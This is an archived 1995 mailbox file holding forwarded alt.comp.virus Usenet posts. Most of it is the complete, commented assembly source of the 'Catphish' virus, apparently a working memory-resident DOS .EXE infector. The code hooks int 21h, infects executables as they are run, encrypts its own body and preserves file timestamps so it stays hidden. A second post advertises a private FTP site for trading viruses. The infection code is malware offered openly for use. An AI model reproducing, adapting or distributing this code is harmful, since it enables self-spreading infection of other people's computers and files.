home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CATPHISH.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  14KB  |  553 lines

  1. From smtp Sun Jan 29 16:25 EST 1995
  2. Received: from ids.net by POBOX.jwu.edu; Sun, 29 Jan 95 16:25 EST
  3. Date: Sun, 29 Jan 1995 16:18:52 -0500 (EST)
  4. From: ids.net!JOSHUAW (JOSHUAW)
  5. To: pobox.jwu.edu!joshuaw 
  6. Content-Length: 11874
  7. Content-Type: text
  8. Message-Id: <950129161852.10074@ids.net>
  9. Status: RO
  10.  
  11. To: joshuaw@pobox.jwu.edu
  12. Subject: (fwd) CATPHISH.ASM
  13. Newsgroups: alt.comp.virus
  14.  
  15. Path: paperboy.ids.net!uunet!cs.utexas.edu!uwm.edu!msunews!news.mtu.edu!news.mtu.edu!not-for-mail
  16. From: jdmathew@mtu.edu (Icepick)
  17. Newsgroups: alt.comp.virus
  18. Subject: CATPHISH.ASM
  19. Date: 26 Jan 1995 13:06:15 -0500
  20. Organization: Michigan Technological University
  21. Lines: 486
  22. Message-ID: <3g8oan$54g@maxwell11.ee>
  23. NNTP-Posting-Host: maxwell11.ee.mtu.edu
  24. X-Newsreader: TIN [version 1.2 PL1]
  25.  
  26.  
  27.  
  28. name    VIRUSTEST
  29.         title
  30. code    segment
  31.         assume  cs:code, ds:code, es:code
  32.         org     100h
  33.  
  34. ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  35. ;                        The Catphish Virus.
  36. ;
  37. ;   The Catphish virus is a resident .EXE infector.
  38. ;                Size: 678 bytes (decimal).
  39. ;                No activation (bomb).
  40. ;                Saves date and file attributes.
  41. ;
  42. ;         If assembling, check_if_resident jump must be marked over
  43. ;           with nop after first execution (first execution will hang
  44. ;           system).
  45. ;
  46. ;         *** Source is made available to learn from, not to
  47. ;               change author's name and claim credit! ***
  48.  
  49. start:
  50.         call    setup                             ; Find "delta offset".
  51. setup:
  52.         pop     bp
  53.         sub     bp, offset setup-100h
  54.         jmp     check_if_resident                 ; See note above about jmp!
  55.  
  56. pre_dec_em:
  57.         mov bx,offset infect_header-100h
  58.         add bx,bp
  59.         mov cx,endcrypt-infect_header
  60.  
  61. ror_em:
  62.         mov dl,byte ptr cs:[bx]
  63.         ror dl,1                                  ; Decrypt virus code
  64.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  65.         inc bx
  66.         loop ror_em
  67.  
  68.         jmp check_if_resident
  69.  
  70. ;--------------------------------- Infect .EXE header -----------------------
  71. ;   The .EXE header modifying code below is my reworked version of
  72. ;     Dark Angel's code found in his Phalcon/Skism virus guides.
  73.  
  74.  
  75. infect_header:
  76.           push bx
  77.           push dx
  78.           push ax
  79.  
  80.  
  81.  
  82.           mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
  83.                ;  ^---make sure you don't destroy the file handle
  84.           mov     cl, 4                           ; Multiply by 16.  Won't
  85.           shl     bx, cl                          ; work with headers > 4096
  86.                                                   ; bytes.  Oh well!
  87.           sub     ax, bx                          ; Subtract header size from
  88.           sbb     dx, 0                           ; file size
  89.     ; Now DX:AX is loaded with file size minus header size
  90.           mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
  91.           div     cx
  92.  
  93.  
  94.           mov     word ptr [buffer+14h-100h], dx  ; IP Offset
  95.           mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  96.  
  97.  
  98.           mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
  99.           mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  100.  
  101.           pop ax
  102.           pop dx
  103.  
  104.           add ax, endcode-start                   ; add virus size
  105.           cmp ax, endcode-start
  106.           jb fix_fault
  107.           jmp execont
  108.  
  109.  
  110. war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
  111. v_name   db '[Catphish]',0                        ; Virus name.
  112. v_author db 'FirstStrike',0                       ; Me.
  113. v_stuff  db 'Kraft!',0
  114.  
  115.  
  116. fix_fault:
  117.           add dx,1d
  118.  
  119. execont:
  120.           push ax
  121.           mov cl, 9
  122.           shr ax, cl
  123.           ror dx, cl
  124.           stc
  125.  
  126.           adc dx, ax
  127.           pop ax
  128.           and ah, 1
  129.  
  130.  
  131.           mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
  132.           mov word ptr [buffer+2-100h], ax        ; the EXE header.
  133.  
  134.           pop bx
  135.           retn                                    ; Leave subroutine
  136.  
  137. ;----------------------------------------------------------------------------
  138.  
  139.  
  140. check_if_resident:
  141.         push es
  142.         xor ax,ax
  143.         mov es,ax
  144.  
  145.         cmp word ptr es:[63h*4],0040h             ; Check to see if virus
  146.         jnz grab_da_vectors                       ;   is already resident
  147.         jmp exit_normal                           ;   by looking for a 40h
  148.                                                   ;   signature in the int 63h
  149.                                                   ;   offset section of
  150.                                                   ;   interrupt table.
  151.  
  152. grab_da_vectors:
  153.  
  154.         mov ax,3521h                              ; Store original int 21h
  155.         int 21h                                   ;   vector pointer.
  156.         mov word ptr cs:[bp+dos_vector-100h],bx
  157.         mov word ptr cs:[bp+dos_vector+2-100h],es
  158.  
  159.  
  160.  
  161. load_high:
  162.         push ds
  163.  
  164. find_chain:                                       ; Load high routine that
  165.                                                   ;   uses the DOS internal
  166.      mov ah,52h                                   ;   table function to find
  167.      int 21h                                      ;   start of MCB and then
  168.                                                   ;   scales up chain to
  169.      mov ds,es: word ptr [bx-2]                   ;   find top. (The code
  170.      assume ds:nothing                            ;   is long, but it is the
  171.                                                   ;   only code that would
  172.      xor si,si                                    ;   work when an infected
  173.                                                   ;   .EXE was to be loaded
  174. Middle_check:                                     ;   into memory.
  175.  
  176.      cmp byte ptr ds:[0],'M'
  177.      jne Check4last
  178.  
  179. add_one:
  180.      mov ax,ds
  181.      add ax,ds:[3]
  182.      inc ax
  183.  
  184.      mov ds,ax
  185.      jmp Middle_check
  186.  
  187. Check4last:
  188.      cmp byte ptr ds:[0],'Z'
  189.      jne Error
  190.      mov byte ptr ds:[0],'M'
  191.      sub word ptr ds:[3],(endcode-start+15h)/16h+1
  192.      jmp add_one
  193.  
  194. error:
  195.      mov byte ptr ds:[0],'Z'
  196.      mov word ptr ds:[1],008h
  197.      mov word ptr ds:[3],(endcode-start+15h)/16h+1
  198.  
  199.      push ds
  200.      pop ax
  201.      inc ax
  202.      push ax
  203.      pop es
  204.  
  205.  
  206.  
  207.  
  208.  
  209. move_virus_loop:
  210.         mov bx,offset start-100h                  ; Move virus into carved
  211.         add bx,bp                                 ;   out location in memory.
  212.         mov cx,endcode-start
  213.         push bp
  214.         mov bp,0000h
  215.  
  216. move_it:
  217.         mov dl, byte ptr cs:[bx]
  218.         mov byte ptr es:[bp],dl
  219.         inc bp
  220.         inc bx
  221.         loop move_it
  222.         pop bp
  223.  
  224.  
  225.  
  226. hook_vectors:
  227.  
  228.         mov ax,2563h                              ; Hook the int 21h vector
  229.         mov dx,0040h                              ;   which means it will
  230.         int 21h                                   ;   point to virus code in
  231.                                                   ;   memory.
  232.         mov ax,2521h
  233.         mov dx,offset virus_attack-100h
  234.         push es
  235.         pop ds
  236.         int 21h
  237.  
  238.  
  239.  
  240.  
  241.         pop ds
  242.  
  243.  
  244.  
  245. exit_normal:                                      ; Return control to
  246.         pop es                                    ;   infected .EXE
  247.         mov ax, es                                ;   (Dark Angle code.)
  248.         add ax, 10h
  249.         add word ptr cs:[bp+OrigCSIP+2-100h], ax
  250.  
  251.         cli
  252.         add ax, word ptr cs:[bp+OrigSSSP+2-100h]
  253.         mov ss, ax
  254.         mov sp, word ptr cs:[bp+OrigSSSP-100h]
  255.         sti
  256.  
  257.         xor ax,ax
  258.         xor bp,bp
  259.  
  260. endcrypt  label  byte
  261.  
  262.         db 0eah
  263. OrigCSIP dd 0fff00000h
  264. OrigSSSP dd ?
  265.  
  266. exe_attrib dw ?
  267. date_stamp dw ?
  268. time_stamp dw ?
  269.  
  270.  
  271.  
  272. dos_vector dd ?
  273.  
  274. buffer db 18h dup(?)                              ; .EXE header buffer.
  275.  
  276.  
  277.  
  278.  
  279. ;----------------------------------------------------------------------------
  280.  
  281.  
  282. virus_attack proc  far
  283.                assume cs:code,ds:nothing, es:nothing
  284.  
  285.  
  286.         cmp ax,4b00h                              ; Infect only on file
  287.         jz run_kill                               ;   executions.
  288.  
  289. leave_virus:
  290.         jmp dword ptr cs:[dos_vector-100h]
  291.  
  292.  
  293.  
  294. run_kill:
  295.         call infectexe
  296.         jmp leave_virus
  297.  
  298.  
  299.  
  300.  
  301.  
  302. infectexe:                                        ; Same old working horse
  303.         push ax                                   ;   routine that infects
  304.         push bx                                   ;   the selected file.
  305.         push cx
  306.         push es
  307.         push dx
  308.         push ds
  309.  
  310.  
  311.  
  312.         mov cx,64d
  313.         mov bx,dx
  314.  
  315. findname:
  316.         cmp byte ptr ds:[bx],'.'
  317.         jz o_k
  318.         inc bx
  319.         loop findname
  320.  
  321. pre_get_out:
  322.         jmp get_out
  323.  
  324. o_k:
  325.         cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
  326.         jnz pre_get_out
  327.         cmp byte ptr ds:[bx+2],'X'
  328.         jnz pre_get_out
  329.         cmp byte ptr ds:[bx+3],'E'
  330.         jnz pre_get_out
  331.  
  332.  
  333.  
  334.  
  335. getexe:
  336.         mov ax,4300h
  337.         call dosit
  338.  
  339.         mov word ptr cs:[exe_attrib-100h],cx
  340.  
  341.         mov ax,4301h
  342.         xor cx,cx
  343.         call dosit
  344.  
  345. exe_kill:
  346.         mov ax,3d02h
  347.         call dosit
  348.         xchg bx,ax
  349.  
  350.         mov ax,5700h
  351.         call dosit
  352.  
  353.         mov word ptr cs:[time_stamp-100h],cx
  354.         mov word ptr cs:[date_stamp-100h],dx
  355.  
  356.  
  357.  
  358.         push cs
  359.         pop ds
  360.  
  361.         mov ah,3fh
  362.         mov cx,18h
  363.         mov dx,offset buffer-100h
  364.         call dosit
  365.  
  366.         cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
  367.         jnz infectforsure                         ;   of 1993h in .EXE
  368.         jmp close_it                              ;   header checksum
  369.                                                   ;   position.
  370. infectforsure:
  371.         call move_f_ptrfar
  372.  
  373.         push ax
  374.         push dx
  375.  
  376.  
  377.         call store_header
  378.  
  379.         pop dx
  380.         pop ax
  381.  
  382.         call infect_header
  383.  
  384.  
  385.         push bx
  386.         push cx
  387.         push dx
  388.  
  389.  
  390.         mov bx,offset infect_header-100h
  391.         mov cx,(endcrypt)-(infect_header)
  392.  
  393. rol_em:                                           ; Encryption via
  394.         mov dl,byte ptr cs:[bx]                   ;   rotating left.
  395.         rol dl,1
  396.         mov byte ptr cs:[bx],dl
  397.         inc bx
  398.         loop rol_em
  399.  
  400.         pop dx
  401.         pop cx
  402.         pop bx
  403.  
  404.         mov ah,40h
  405.         mov cx,endcode-start
  406.         mov dx,offset start-100h
  407.         call dosit
  408.  
  409.  
  410.         mov word ptr cs:[buffer+12h-100h],1993h
  411.  
  412.  
  413.         call move_f_ptrclose
  414.  
  415.         mov ah,40h
  416.         mov cx,18h
  417.         mov dx,offset buffer-100h
  418.         call dosit
  419.  
  420.         mov ax,5701h
  421.         mov cx,word ptr cs:[time_stamp-100h]
  422.         mov dx,word ptr cs:[date_stamp-100h]
  423.         call dosit
  424.  
  425. close_it:
  426.  
  427.  
  428.         mov ah,3eh
  429.         call dosit
  430.  
  431. get_out:
  432.  
  433.  
  434.         pop ds
  435.         pop dx
  436.  
  437. set_attrib:
  438.         mov ax,4301h
  439.         mov cx,word ptr cs:[exe_attrib-100h]
  440.         call dosit
  441.  
  442.  
  443.         pop es
  444.         pop cx
  445.         pop bx
  446.         pop ax
  447.  
  448.         retn
  449.  
  450. ;---------------------------------- Call to DOS int 21h ---------------------
  451.  
  452. dosit:                                            ; DOS function call code.
  453.         pushf
  454.         call dword ptr cs:[dos_vector-100h]
  455.         retn
  456.  
  457. ;----------------------------------------------------------------------------
  458.  
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468. ;-------------------------------- Store Header -----------------------------
  469.  
  470. store_header:
  471.         les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
  472.         mov  word ptr [OrigCSIP-100h], ax
  473.         mov  word ptr [OrigCSIP+2-100h], es
  474.  
  475.         les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
  476.         mov  word ptr [OrigSSSP-100h], es
  477.         mov  word ptr [OrigSSSP+2-100h], ax
  478.  
  479.         retn
  480.  
  481. ;---------------------------------------------------------------------------
  482.  
  483.  
  484.  
  485.  
  486.  
  487.  
  488. ;---------------------------------- Set file pointer ------------------------
  489.  
  490. move_f_ptrfar:                                    ; Code to move file pointer.
  491.         mov ax,4202h
  492.         jmp short move_f
  493.  
  494. move_f_ptrclose:
  495.         mov ax,4200h
  496.  
  497. move_f:
  498.         xor dx,dx
  499.         xor cx,cx
  500.         call dosit
  501.         retn
  502.  
  503. ;----------------------------------------------------------------------------
  504.  
  505.  
  506. endcode         label       byte
  507.  
  508. endp
  509.  
  510. code ends
  511. end  start
  512.  
  513. From smtp Fri Jan 27 13:23 EST 1995
  514. Received: from ids.net by POBOX.jwu.edu; Fri, 27 Jan 95 13:23 EST
  515. Date: Fri, 27 Jan 1995 13:21:38 -0500 (EST)
  516. From: ids.net!JOSHUAW (JOSHUAW)
  517. To: pobox.jwu.edu!joshuaw 
  518. Content-Length: 1179
  519. Content-Type: binary
  520. Message-Id: <950127132138.b52b@ids.net>
  521. Status: RO
  522.  
  523. To: joshuaw@pobox.jwu.edu
  524. Subject: (fwd) Private Virii FTP Site
  525. Newsgroups: alt.comp.virus
  526.  
  527. Path: paperboy.ids.net!uunet!nntp.crl.com!crl12.crl.com!not-for-mail
  528. From: yojimbo@crl.com (Douglas Mauldin)
  529. Newsgroups: alt.comp.virus
  530. Subject: Private Virii FTP Site
  531. Date: 24 Jan 1995 22:01:53 -0800
  532. Organization: CRL Dialup Internet Access    (415) 705-6060  [Login: guest]
  533. Lines: 14
  534. Message-ID: <3g4pgh$ka2@crl12.crl.com>
  535. NNTP-Posting-Host: crl12.crl.com
  536. X-Newsreader: TIN [version 1.2 PL2]
  537.  
  538. I run THe QUaRaNTiNE, a private FTP site for viral reseachers/coders. I'm 
  539. always on the lookout for new viral material. If you'd like access, or 
  540. like to trade, email me a list of your collection. 
  541.  
  542. Serious inquiries only. 
  543.  
  544.        ┌ ∙∙───∙─  ──-─∙·─────- - ─────∙┬·────-- ────∙∙─- ──-─∙·──·
  545.        │  Yojimbo [φ╪δµφ]              ∙ Fast as the Wind        ∙
  546.        ∙  SysOp: The Dojo BBS          ∙ Quiet as the Forest     │
  547.        │  1.7i3.436.1795               │ Aggressive as Fire      ·
  548.        ·  QUaRaNTiNE HomeSite          · And                     │
  549.        │  THe ULTiMaTE ViRaL InFeCTiON │ Immovable as a Mountain │
  550.         ∙─ -─∙∙·─────────∙∙·──── ──·── ·───────·∙-─────────∙·────
  551.  
  552.  
  553.